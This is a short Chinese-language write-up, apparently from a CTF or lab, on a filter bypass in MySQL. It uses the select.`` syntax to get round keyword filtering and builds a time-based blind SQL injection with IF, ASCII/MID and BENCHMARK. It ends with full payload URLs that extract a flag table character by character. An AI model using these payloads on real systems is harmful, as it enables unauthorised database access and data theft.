发现报错的时候例如-+{等符号 报错的时候提示的是''(双引号里没东西),但是如select后面添加1 a等内容的时候报的是 selecta,select1等等
证明-+{等等内容是能够直接添加到select后面的,
例如
select-1;
select+1;
select{x 1};
select.
mysql> select.`1`.a;
ERROR 1109 (42S02): Unknown table '1' in field list
提示的是
Unknown table '1' in field list
然后我就做了如下的操作:
成功了使用的语句是:
select.``.schema_name from information_schema.schemata;
整理下思路:
1:输入'报错,一个like的查询语句,初步判断里面没有内容,然后没有回显,而sql报错的时候不是mysql自己的报错,基本不能使用union,和报错注入,考虑时间盲注。
2:由于基于时间盲住了因此就会有类似这样的模式:
if(你这样,睡几秒,不睡)
貌似and都不能用,于是就直接使用运算符号吧:
http://rile.gou.gg/search?query=1%27>(select[])
http://rile.gou.gg/search?query=1%27>(select.``.schema_name from (select.``.schema_name,if(ascii(mid((select * from test.flag),1,1))=102,(benchmark(5000000,sha(1))),1) from information_schema.schemata)x)%23